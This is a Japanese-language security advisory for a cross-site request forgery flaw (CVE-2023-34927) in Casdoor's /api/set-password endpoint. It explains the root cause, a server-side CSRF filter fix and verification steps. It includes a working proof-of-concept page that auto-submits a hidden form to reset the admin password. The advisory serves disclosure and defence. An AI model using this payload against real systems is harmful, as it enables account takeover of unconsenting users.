Casdoor – クロスサイトリクエストフォージェリ (CSRF)

概要

脆弱性: /api/set-password における CSRF により、同意なしにパスワードを変更可能。
影響を受けるバージョン: ソフトウェアのすべてのバージョンが影響を受けます。修正済みリリースは現在利用できません。
CVE: CVE-2023-34927 (最新のものはまだ割り当てられていません)。
エクスプロイト作成者: Van Lam Nguyen。
テスト環境: Windows

影響

被害者が Casdoor にログインしている場合、クロスサイト POST によって被害者のパスワード (例: built-in/admin) を変更でき、アカウント乗っ取りにつながります。

攻撃の前提条件

被害者が認証済みで、有効な casdoor_session_id Cookie を持っている。
被害者が、/api/set-password への POST を自動送信する悪意のあるページを訪問する。

概念実証

<html>
<form action="http://localhost:8000/api/set-password" method="POST">
    <input name='userOwner' value='built&#45;in' type='hidden'>
    <input name='userName' value='admin' type='hidden'>
    <input name='newPassword' value='hacked' type='hidden'>
    <input type=submit>
</form>
<script>
    history.pushState('', '', '/');
    document.forms[0].submit();
</script>
</html>

根本原因

/api/* 配下の状態変更エンドポイントが、同一オリジンチェック (Origin/Referer) や CSRF トークンを強制することなく、Cookie 認証されたリクエストを受け入れています。

修正の概要

サーバー側の CSRF フィルターを追加し、/api/* 配下のクロスサイトかつ Cookie ベースの POST/PUT/DELETE/PATCH リクエストを拒否します。
明示的な非 Cookie 認証 (Authorization、Basic 認証、クライアントクレデンシャル、または accessToken など) を伴うリクエスト、またはブラウザのセッション Cookie を持たないリクエスト (典型的なサーバー間呼び出し) は許可します。

実装

csrf_filter.go に実装されている routers.CSRFFilter を使用します。このフィルターは:
- 状態変更を伴わないメソッドについては早期リターンします。
- 明示的な非 Cookie 認証を伴うリクエストを許可します。
- セッション Cookie が存在し、オリジンがホストと一致しない場合にクロスサイトリクエストをブロックします。

Casdoor への統合方法

csrf_filter.go を Casdoor プロジェクトの既存の routers パッケージにコピーします。このファイル内のいかなる内容も変更または削除しないでください。

HTTP パイプラインの早い段階でフィルターを登録します (main 内):

// Beego v1 style
web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)

// If your project uses Beego v2 and imports as `web`:
// web.InsertFilter("/api/*", web.BeforeRouter, routers.CSRFFilter)

検証

フィルターを登録した後、ログインした状態で上記の PoC を再実行します。リクエストは Unauthorized operation で拒否され、サーバーは CSRF check failed をログに記録するはずです。
Authorization ヘッダーまたは accessToken パラメータを含むクロスオリジン API 呼び出しは引き続き機能するはずです。

リポジトリのファイル

csrf_filter.go: Casdoor の routers パッケージにコピーする CSRF フィルター。
poc.html: CSRF 攻撃を再現する最小限のページ。
README.md: 脆弱性と修正手順を説明するこのドキュメント。

参考資料

Casdoor: https://casdoor.org/
バージョン: https://github.com/casdoor/casdoor/releases
https://vulmon.com/vulnerabilitydetails?qid=CVE-2023-34927

動画

Youtube: https://youtu.be/N5VENgiObjY

csrf_casdoor

人気

Casdoor – クロスサイトリクエストフォージェリ (CSRF)